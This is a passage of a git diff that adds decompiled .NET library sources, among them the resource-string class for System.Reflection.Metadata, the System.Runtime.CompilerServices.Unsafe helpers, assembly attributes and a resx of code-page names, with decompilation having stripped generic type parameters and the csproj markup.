AppContext.TryGetSwitch("System.Resources.UseSystemResourceKeys", out var isEnabled) && isEnabled; + + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(SR))); + + internal static string ImageTooSmall => GetResourceString("ImageTooSmall"); + + internal static string InvalidCorHeaderSize => GetResourceString("InvalidCorHeaderSize"); + + internal static string InvalidHandle => GetResourceString("InvalidHandle"); + + internal static string UnexpectedHandleKind => GetResourceString("UnexpectedHandleKind"); + + internal static string UnexpectedOpCode => GetResourceString("UnexpectedOpCode"); + + internal static string InvalidLocalSignatureToken => GetResourceString("InvalidLocalSignatureToken"); + + internal static string InvalidMetadataSectionSpan => GetResourceString("InvalidMetadataSectionSpan"); + + internal static string InvalidMethodHeader1 => GetResourceString("InvalidMethodHeader1"); + + internal static string InvalidMethodHeader2 => GetResourceString("InvalidMethodHeader2"); + + internal static string InvalidPESignature => GetResourceString("InvalidPESignature"); + + internal static string InvalidSehHeader => GetResourceString("InvalidSehHeader"); + + internal static string InvalidToken => GetResourceString("InvalidToken"); + + internal static string MetadataImageDoesNotRepresentAnAssembly => GetResourceString("MetadataImageDoesNotRepresentAnAssembly"); + + internal static string StandaloneDebugMetadataImageDoesNotContainModuleTable => GetResourceString("StandaloneDebugMetadataImageDoesNotContainModuleTable"); + + internal static string PEImageNotAvailable => GetResourceString("PEImageNotAvailable"); + + internal static string MissingDataDirectory => GetResourceString("MissingDataDirectory"); + + internal static string NotMetadataHeapHandle => GetResourceString("NotMetadataHeapHandle"); + + internal static string NotMetadataTableOrUserStringHandle => GetResourceString("NotMetadataTableOrUserStringHandle"); + + internal static string SectionTooSmall => GetResourceString("SectionTooSmall"); + + internal static string StreamMustSupportReadAndSeek => GetResourceString("StreamMustSupportReadAndSeek"); + + internal static string UnknownFileFormat => GetResourceString("UnknownFileFormat"); + + internal static string UnknownPEMagicValue => GetResourceString("UnknownPEMagicValue"); + + internal static string MetadataTableNotSorted => GetResourceString("MetadataTableNotSorted"); + + internal static string ModuleTableInvalidNumberOfRows => GetResourceString("ModuleTableInvalidNumberOfRows"); + + internal static string UnknownTables => GetResourceString("UnknownTables"); + + internal static string IllegalTablesInCompressedMetadataStream => GetResourceString("IllegalTablesInCompressedMetadataStream"); + + internal static string TableRowCountSpaceTooSmall => GetResourceString("TableRowCountSpaceTooSmall"); + + internal static string OutOfBoundsRead => GetResourceString("OutOfBoundsRead"); + + internal static string OutOfBoundsWrite => GetResourceString("OutOfBoundsWrite"); + + internal static string MetadataHeaderTooSmall => GetResourceString("MetadataHeaderTooSmall"); + + internal static string MetadataSignature => GetResourceString("MetadataSignature"); + + internal static string NotEnoughSpaceForVersionString => GetResourceString("NotEnoughSpaceForVersionString"); + + internal static string StreamHeaderTooSmall => GetResourceString("StreamHeaderTooSmall"); + + internal static string NotEnoughSpaceForStreamHeaderName => GetResourceString("NotEnoughSpaceForStreamHeaderName"); + + internal static string NotEnoughSpaceForStringStream => GetResourceString("NotEnoughSpaceForStringStream"); + + internal static string NotEnoughSpaceForBlobStream => GetResourceString("NotEnoughSpaceForBlobStream"); + + internal static string NotEnoughSpaceForGUIDStream => GetResourceString("NotEnoughSpaceForGUIDStream"); + + internal static string NotEnoughSpaceForMetadataStream => GetResourceString("NotEnoughSpaceForMetadataStream"); + + internal static string InvalidMetadataStreamFormat => GetResourceString("InvalidMetadataStreamFormat"); + + internal static string MetadataTablesTooSmall => GetResourceString("MetadataTablesTooSmall"); + + internal static string MetadataTableHeaderTooSmall => GetResourceString("MetadataTableHeaderTooSmall"); + + internal static string WinMDMissingMscorlibRef => GetResourceString("WinMDMissingMscorlibRef"); + + internal static string UnexpectedStreamEnd => GetResourceString("UnexpectedStreamEnd"); + + internal static string InvalidMethodRva => GetResourceString("InvalidMethodRva"); + + internal static string CantGetOffsetForVirtualHeapHandle => GetResourceString("CantGetOffsetForVirtualHeapHandle"); + + internal static string InvalidNumberOfSections => GetResourceString("InvalidNumberOfSections"); + + internal static string InvalidSignature => GetResourceString("InvalidSignature"); + + internal static string PEImageDoesNotHaveMetadata => GetResourceString("PEImageDoesNotHaveMetadata"); + + internal static string InvalidCodedIndex => GetResourceString("InvalidCodedIndex"); + + internal static string InvalidCompressedInteger => GetResourceString("InvalidCompressedInteger"); + + internal static string InvalidDocumentName => GetResourceString("InvalidDocumentName"); + + internal static string RowIdOrHeapOffsetTooLarge => GetResourceString("RowIdOrHeapOffsetTooLarge"); + + internal static string EnCMapNotSorted => GetResourceString("EnCMapNotSorted"); + + internal static string InvalidSerializedString => GetResourceString("InvalidSerializedString"); + + internal static string StreamTooLarge => GetResourceString("StreamTooLarge"); + + internal static string ImageTooSmallOrContainsInvalidOffsetOrCount => GetResourceString("ImageTooSmallOrContainsInvalidOffsetOrCount"); + + internal static string MetadataStringDecoderEncodingMustBeUtf8 => GetResourceString("MetadataStringDecoderEncodingMustBeUtf8"); + + internal static string InvalidConstantValue => GetResourceString("InvalidConstantValue"); + + internal static string InvalidConstantValueOfType => GetResourceString("InvalidConstantValueOfType"); + + internal static string InvalidImportDefinitionKind => GetResourceString("InvalidImportDefinitionKind"); + + internal static string ValueTooLarge => GetResourceString("ValueTooLarge"); + + internal static string BlobTooLarge => GetResourceString("BlobTooLarge"); + + internal static string InvalidTypeSize => GetResourceString("InvalidTypeSize"); + + internal static string HandleBelongsToFutureGeneration => GetResourceString("HandleBelongsToFutureGeneration"); + + internal static string InvalidRowCount => GetResourceString("InvalidRowCount"); + + internal static string InvalidEntryPointToken => GetResourceString("InvalidEntryPointToken"); + + internal static string TooManySubnamespaces => GetResourceString("TooManySubnamespaces"); + + internal static string TooManyExceptionRegions => GetResourceString("TooManyExceptionRegions"); + + internal static string SequencePointValueOutOfRange => GetResourceString("SequencePointValueOutOfRange"); + + internal static string InvalidDirectoryRVA => GetResourceString("InvalidDirectoryRVA"); + + internal static string InvalidDirectorySize => GetResourceString("InvalidDirectorySize"); + + internal static string InvalidDebugDirectoryEntryCharacteristics => GetResourceString("InvalidDebugDirectoryEntryCharacteristics"); + + internal static string UnexpectedCodeViewDataSignature => GetResourceString("UnexpectedCodeViewDataSignature"); + + internal static string UnexpectedEmbeddedPortablePdbDataSignature => GetResourceString("UnexpectedEmbeddedPortablePdbDataSignature"); + + internal static string InvalidPdbChecksumDataFormat => GetResourceString("InvalidPdbChecksumDataFormat"); + + internal static string UnexpectedSignatureHeader => GetResourceString("UnexpectedSignatureHeader"); + + internal static string UnexpectedSignatureHeader2 => GetResourceString("UnexpectedSignatureHeader2"); + + internal static string NotTypeDefOrRefHandle => GetResourceString("NotTypeDefOrRefHandle"); + + internal static string UnexpectedSignatureTypeCode => GetResourceString("UnexpectedSignatureTypeCode"); + + internal static string SignatureTypeSequenceMustHaveAtLeastOneElement => GetResourceString("SignatureTypeSequenceMustHaveAtLeastOneElement"); + + internal static string NotTypeDefOrRefOrSpecHandle => GetResourceString("NotTypeDefOrRefOrSpecHandle"); + + internal static string UnexpectedDebugDirectoryType => GetResourceString("UnexpectedDebugDirectoryType"); + + internal static string HeapSizeLimitExceeded => GetResourceString("HeapSizeLimitExceeded"); + + internal static string BuilderMustAligned => GetResourceString("BuilderMustAligned"); + + internal static string BuilderAlreadyLinked => GetResourceString("BuilderAlreadyLinked"); + + internal static string ReturnedBuilderSizeTooSmall => GetResourceString("ReturnedBuilderSizeTooSmall"); + + internal static string SignatureNotVarArg => GetResourceString("SignatureNotVarArg"); + + internal static string LabelDoesntBelongToBuilder => GetResourceString("LabelDoesntBelongToBuilder"); + + internal static string ControlFlowBuilderNotAvailable => GetResourceString("ControlFlowBuilderNotAvailable"); + + internal static string BaseReaderMustBeFullMetadataReader => GetResourceString("BaseReaderMustBeFullMetadataReader"); + + internal static string ModuleAlreadyAdded => GetResourceString("ModuleAlreadyAdded"); + + internal static string AssemblyAlreadyAdded => GetResourceString("AssemblyAlreadyAdded"); + + internal static string ExpectedListOfSize => GetResourceString("ExpectedListOfSize"); + + internal static string ExpectedArrayOfSize => GetResourceString("ExpectedArrayOfSize"); + + internal static string ExpectedNonEmptyList => GetResourceString("ExpectedNonEmptyList"); + + internal static string ExpectedNonEmptyArray => GetResourceString("ExpectedNonEmptyArray"); + + internal static string ExpectedNonEmptyString => GetResourceString("ExpectedNonEmptyString"); + + internal static string ReadersMustBeDeltaReaders => GetResourceString("ReadersMustBeDeltaReaders"); + + internal static string SignatureProviderReturnedInvalidSignature => GetResourceString("SignatureProviderReturnedInvalidSignature"); + + internal static string UnknownSectionName => GetResourceString("UnknownSectionName"); + + internal static string HashTooShort => GetResourceString("HashTooShort"); + + internal static string UnexpectedArrayLength => GetResourceString("UnexpectedArrayLength"); + + internal static string ValueMustBeMultiple => GetResourceString("ValueMustBeMultiple"); + + internal static string MustNotReturnNull => GetResourceString("MustNotReturnNull"); + + internal static string MetadataVersionTooLong => GetResourceString("MetadataVersionTooLong"); + + internal static string RowCountMustBeZero => GetResourceString("RowCountMustBeZero"); + + internal static string RowCountOutOfRange => GetResourceString("RowCountOutOfRange"); + + internal static string SizeMismatch => GetResourceString("SizeMismatch"); + + internal static string DataTooBig => GetResourceString("DataTooBig"); + + internal static string UnsupportedFormatVersion => GetResourceString("UnsupportedFormatVersion"); + + internal static string DistanceBetweenInstructionAndLabelTooBig => GetResourceString("DistanceBetweenInstructionAndLabelTooBig"); + + internal static string LabelNotMarked => GetResourceString("LabelNotMarked"); + + internal static string MethodHasNoExceptionRegions => GetResourceString("MethodHasNoExceptionRegions"); + + internal static string InvalidExceptionRegionBounds => GetResourceString("InvalidExceptionRegionBounds"); + + internal static string UnexpectedValue => GetResourceString("UnexpectedValue"); + + internal static string UnexpectedValueUnknownType => GetResourceString("UnexpectedValueUnknownType"); + + private static bool UsingResourceKeys() + { + return s_usingResourceKeys; + } + + internal static string GetResourceString(string resourceKey) + { + if (UsingResourceKeys()) + { + return resourceKey; + } + string result = null; + try + { + result = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + return result; + } + + internal static string GetResourceString(string resourceKey, string defaultString) + { + string resourceString = GetResourceString(resourceKey); + if (!(resourceKey == resourceString) && resourceString != null) + { + return resourceString; + } + return defaultString; + } + + internal static string Format(string resourceFormat, object? p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object? p1, object? p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object? p1, object? p2, object? p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } + + internal static string Format(string resourceFormat, params object?[]? args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, object? p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(provider, resourceFormat, p1); + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, object? p1, object? p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(provider, resourceFormat, p1, p2); + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, object? p1, object? p2, object? p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(provider, resourceFormat, p1, p2, p3); + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, params object?[]? args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(provider, resourceFormat, args); + } + return resourceFormat; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/costura.system.reflection.metadata.csproj b/decompiled/Libraries/system.reflection.metadata/costura.system.reflection.metadata.csproj new file mode 100644 index 0000000..44573b0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/costura.system.reflection.metadata.csproj @@ -0,0 +1,26 @@ + + + System.Reflection.Metadata + False + net462 + + + 14.0 + True + False + + + + + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.runtime.compilerservices.unsafe/.DS_Store b/decompiled/Libraries/system.runtime.compilerservices.unsafe/.DS_Store new file mode 100644 index 0000000..b76d455 Binary files /dev/null and b/decompiled/Libraries/system.runtime.compilerservices.unsafe/.DS_Store differ diff --git a/decompiled/Libraries/system.runtime.compilerservices.unsafe/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.runtime.compilerservices.unsafe/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f352169 --- /dev/null +++ b/decompiled/Libraries/system.runtime.compilerservices.unsafe/Properties/AssemblyInfo.cs @@ -0,0 +1,17 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyProduct("Microsoft® .NET Framework")] +[assembly: CLSCompliant(false)] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyDescription("System.Runtime.CompilerServices.Unsafe")] +[assembly: AssemblyFileVersion("6.0.21.52210")] +[assembly: AssemblyInformationalVersion("6.0.0")] +[assembly: AssemblyTitle("System.Runtime.CompilerServices.Unsafe")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("IsTrimmable", "True")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyVersion("6.0.0.0")] diff --git a/decompiled/Libraries/system.runtime.compilerservices.unsafe/System.Runtime.CompilerServices/Unsafe.cs b/decompiled/Libraries/system.runtime.compilerservices.unsafe/System.Runtime.CompilerServices/Unsafe.cs new file mode 100644 index 0000000..57b06e8 --- /dev/null +++ b/decompiled/Libraries/system.runtime.compilerservices.unsafe/System.Runtime.CompilerServices/Unsafe.cs @@ -0,0 +1,303 @@ +using System.Runtime.Versioning; + +namespace System.Runtime.CompilerServices; + +public static class Unsafe +{ + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static T Read(void* source) + { + return Unsafe.Read(source); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static T ReadUnaligned(void* source) + { + return Unsafe.ReadUnaligned(source); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static T ReadUnaligned(ref byte source) + { + return Unsafe.ReadUnaligned(ref source); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void Write(void* destination, T value) + { + Unsafe.Write(destination, value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void WriteUnaligned(void* destination, T value) + { + Unsafe.WriteUnaligned(destination, value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static void WriteUnaligned(ref byte destination, T value) + { + Unsafe.WriteUnaligned(ref destination, value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void Copy(void* destination, ref T source) + { + Unsafe.Write(destination, source); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void Copy(ref T destination, void* source) + { + destination = Unsafe.Read(source); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void* AsPointer(ref T value) + { + return Unsafe.AsPointer(ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static void SkipInit(out T value) + { + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static int SizeOf() + { + return Unsafe.SizeOf(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void CopyBlock(void* destination, void* source, uint byteCount) + { + // IL cpblk instruction + Unsafe.CopyBlock(destination, source, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static void CopyBlock(ref byte destination, ref byte source, uint byteCount) + { + // IL cpblk instruction + Unsafe.CopyBlock(ref destination, ref source, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void CopyBlockUnaligned(void* destination, void* source, uint byteCount) + { + // IL cpblk instruction + Unsafe.CopyBlockUnaligned(destination, source, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static void CopyBlockUnaligned(ref byte destination, ref byte source, uint byteCount) + { + // IL cpblk instruction + Unsafe.CopyBlockUnaligned(ref destination, ref source, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void InitBlock(void* startAddress, byte value, uint byteCount) + { + // IL initblk instruction + Unsafe.InitBlock(startAddress, value, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static void InitBlock(ref byte startAddress, byte value, uint byteCount) + { + // IL initblk instruction + Unsafe.InitBlock(ref startAddress, value, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void InitBlockUnaligned(void* startAddress, byte value, uint byteCount) + { + // IL initblk instruction + Unsafe.InitBlockUnaligned(startAddress, value, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static void InitBlockUnaligned(ref byte startAddress, byte value, uint byteCount) + { + // IL initblk instruction + Unsafe.InitBlockUnaligned(ref startAddress, value, byteCount); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static T As(object o) where T : class + { + return (T)o; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static ref T AsRef(void* source) + { + return ref *(T*)source; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T AsRef(in T source) + { + return ref source; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref TTo As(ref TFrom source) + { + return ref Unsafe.As(ref source); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T Unbox(object box) where T : struct + { + return ref (T)box; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T Add(ref T source, int elementOffset) + { + return ref Unsafe.Add(ref source, elementOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void* Add(void* source, int elementOffset) + { + return (byte*)source + (nint)elementOffset * (nint)Unsafe.SizeOf(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T Add(ref T source, IntPtr elementOffset) + { + return ref Unsafe.Add(ref source, elementOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ref T Add(ref T source, [System.Runtime.Versioning.NonVersionable] nuint elementOffset) + { + return ref Unsafe.Add(ref source, elementOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T AddByteOffset(ref T source, IntPtr byteOffset) + { + return ref Unsafe.AddByteOffset(ref source, byteOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ref T AddByteOffset(ref T source, [System.Runtime.Versioning.NonVersionable] nuint byteOffset) + { + return ref Unsafe.AddByteOffset(ref source, byteOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T Subtract(ref T source, int elementOffset) + { + return ref Unsafe.Subtract(ref source, elementOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static void* Subtract(void* source, int elementOffset) + { + return (byte*)source - (nint)elementOffset * (nint)Unsafe.SizeOf(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T Subtract(ref T source, IntPtr elementOffset) + { + return ref Unsafe.Subtract(ref source, elementOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ref T Subtract(ref T source, [System.Runtime.Versioning.NonVersionable] nuint elementOffset) + { + return ref Unsafe.Subtract(ref source, elementOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static ref T SubtractByteOffset(ref T source, IntPtr byteOffset) + { + return ref Unsafe.SubtractByteOffset(ref source, byteOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ref T SubtractByteOffset(ref T source, [System.Runtime.Versioning.NonVersionable] nuint byteOffset) + { + return ref Unsafe.SubtractByteOffset(ref source, byteOffset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static IntPtr ByteOffset(ref T origin, ref T target) + { + return Unsafe.ByteOffset(target: ref target, origin: ref origin); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static bool AreSame(ref T left, ref T right) + { + return Unsafe.AreSame(ref left, ref right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static bool IsAddressGreaterThan(ref T left, ref T right) + { + return Unsafe.IsAddressGreaterThan(ref left, ref right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public static bool IsAddressLessThan(ref T left, ref T right) + { + return Unsafe.IsAddressLessThan(ref left, ref right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static bool IsNullRef(ref T source) + { + return Unsafe.AsPointer(ref source) == null; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [System.Runtime.Versioning.NonVersionable] + public unsafe static ref T NullRef() + { + return ref *(T*)null; + } +} diff --git a/decompiled/Libraries/system.runtime.compilerservices.unsafe/System.Runtime.Versioning/NonVersionableAttribute.cs b/decompiled/Libraries/system.runtime.compilerservices.unsafe/System.Runtime.Versioning/NonVersionableAttribute.cs new file mode 100644 index 0000000..d7361c1 --- /dev/null +++ b/decompiled/Libraries/system.runtime.compilerservices.unsafe/System.Runtime.Versioning/NonVersionableAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class NonVersionableAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.runtime.compilerservices.unsafe/costura.system.runtime.compilerservices.unsafe.csproj b/decompiled/Libraries/system.runtime.compilerservices.unsafe/costura.system.runtime.compilerservices.unsafe.csproj new file mode 100644 index 0000000..1dc22a8 --- /dev/null +++ b/decompiled/Libraries/system.runtime.compilerservices.unsafe/costura.system.runtime.compilerservices.unsafe.csproj @@ -0,0 +1,15 @@ + + + System.Runtime.CompilerServices.Unsafe + False + net40 + + + 14.0 + True + False + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.encoding.codepages/.DS_Store b/decompiled/Libraries/system.text.encoding.codepages/.DS_Store new file mode 100644 index 0000000..03d864c Binary files /dev/null and b/decompiled/Libraries/system.text.encoding.codepages/.DS_Store differ diff --git a/decompiled/Libraries/system.text.encoding.codepages/FxResources.System.Text.Encoding.CodePages.SR.resx b/decompiled/Libraries/system.text.encoding.codepages/FxResources.System.Text.Encoding.CodePages.SR.resx new file mode 100644 index 0000000..68507ad --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/FxResources.System.Text.Encoding.CodePages.SR.resx @@ -0,0 +1,188 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Recursive fallback not allowed for character \\u{0:X4}. + Index and count must refer to a location within the string. + Korean (Johab) + Hebrew (Windows) + Turkish (Windows) + Baltic (Windows) + Arabic (Windows) + Cyrillic (Windows) + Central European (Windows) + Greek (Windows) + Western European (Windows) + Vietnamese (Windows) + IBM EBCDIC (France-Euro) + IBM EBCDIC (UK-Euro) + IBM EBCDIC (Spain-Euro) + IBM EBCDIC (Italy-Euro) + IBM EBCDIC (Finland-Sweden-Euro) + IBM EBCDIC (Denmark-Norway-Euro) + IBM EBCDIC (Germany-Euro) + IBM EBCDIC (US-Canada-Euro) + IBM EBCDIC (Icelandic-Euro) + IBM EBCDIC (International-Euro) + IBM EBCDIC (Turkish Latin-5) + IBM Latin-1 + Index was out of range. Must be non-negative and less than or equal to the size of the collection. + {0} is not a supported code page. + No data is available for encoding {0}. + Valid values are between {0} and {1}, inclusive. + Recursive fallback not allowed for bytes {0}. + Baltic (DOS) + Arabic (ASMO 708) + Greek (DOS) + Arabic (DOS) + IBM EBCDIC (International) + OEM United States + Japanese (Shift-JIS) + Chinese Simplified (GB2312) + Chinese Traditional (Big5) + Korean + Thai (Windows) + IBM EBCDIC (Greek Modern) + IBM EBCDIC (Multilingual Latin-2) + OEM Multilingual Latin I + Turkish (DOS) + OEM Cyrillic + Central European (DOS) + Western European (DOS) + Greek, Modern (DOS) + Nordic (DOS) + Arabic (864) + Cyrillic (DOS) + Icelandic (DOS) + Portuguese (DOS) + French Canadian (DOS) + Hebrew (DOS) + Non-negative number required. + Too many bytes. The resulting number of chars is larger than what can be returned as an int. + Too many characters. The resulting number of bytes is larger than what can be returned as an int. + String contains invalid Unicode code points. + Hebrew (ISO-Logical) + Thai (Mac) + Central European (Mac) + Romanian (Mac) + Ukrainian (Mac) + Chinese Traditional (Mac) + Korean (Mac) + Western European (Mac) + Japanese (Mac) + Greek (Mac) + Cyrillic (Mac) + Arabic (Mac) + Hebrew (Mac) + Chinese Simplified (Mac) + Icelandic (Mac) + Croatian (Mac) + Turkish (Mac) + Ext Alpha Lowercase + IBM EBCDIC (Cyrillic Serbian-Bulgarian) + Cyrillic (KOI8-U) + Western European (IA5) + German (IA5) + Swedish (IA5) + Norwegian (IA5) + TCA Taiwan + Chinese Traditional (CNS) + IBM5550 Taiwan + Chinese Traditional (Eten) + Wang Taiwan + TeleText Taiwan + IBM EBCDIC (Denmark-Norway) + IBM EBCDIC (Germany) + IBM EBCDIC (Finland-Sweden) + T.61 + ISO-6937 + IBM EBCDIC (Japanese katakana) + IBM EBCDIC (France) + IBM EBCDIC (Italy) + IBM EBCDIC (UK) + IBM EBCDIC (Spain) + IBM EBCDIC (Hebrew) + IBM EBCDIC (Greek) + IBM EBCDIC (Arabic) + IBM EBCDIC (Turkish) + Japanese (JIS 0208-1990 and 0212-1990) + Chinese Simplified (GB2312-80) + IBM Latin-1 + Korean Wansung + IBM EBCDIC (Cyrillic Russian) + IBM EBCDIC (Thai) + IBM EBCDIC (Korean Extended) + IBM EBCDIC (Icelandic) + Cyrillic (KOI8-R) + Europa + Cyrillic (ISO) + Baltic (ISO) + Greek (ISO) + Arabic (ISO) + Latin 3 (ISO) + Central European (ISO) + Turkish (ISO) + Hebrew (ISO-Visual) + Latin 9 (ISO) + Estonian (ISO) + ISCII Bengali + ISCII Devanagari + ISCII Telugu + ISCII Tamil + ISCII Oriya + ISCII Assamese + ISCII Malayalam + ISCII Kannada + ISCII Gujarati + ISCII Punjabi + Chinese Simplified (GB18030) + Chinese Simplified (HZ) + Korean (EUC) + Chinese Simplified (EUC) + Japanese (EUC) + Chinese Simplified (ISO-2022) + Korean (ISO) + Japanese (JIS-Allow 1 byte Kana - SO/SI) + Japanese (JIS) + Japanese (JIS-Allow 1 byte Kana) + Chinese Traditional (ISO-2022) + User Defined + IBM EBCDIC (Japanese and Japanese-Latin) + IBM EBCDIC (Simplified Chinese) + IBM EBCDIC (Traditional Chinese) + IBM EBCDIC (Japanese and Japanese Katakana) + IBM EBCDIC (Japanese and US-Canada) + IBM EBCDIC (Korean and Korean Extended) + The output char buffer is too small to contain the decoded characters, encoding '{0}' fallback '{1}'. + The output byte buffer is too small to contain the encoded data, encoding '{0}' fallback '{1}'. + IBM EBCDIC (US-Canada) + Index and count must refer to a location within the buffer. + Could not find a resource entry for the encoding codepage '{0} - {1}' + Must complete Convert() operation or call Encoder.Reset() before calling GetBytes() or GetByteCount(). Encoder '{0}' fallback '{1}'. + Index was out of range. Must be non-negative and less than the size of the collection. + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.encoding.codepages/FxResources.System.Text.Encoding.CodePages/SR.cs b/decompiled/Libraries/system.text.encoding.codepages/FxResources.System.Text.Encoding.CodePages/SR.cs new file mode 100644 index 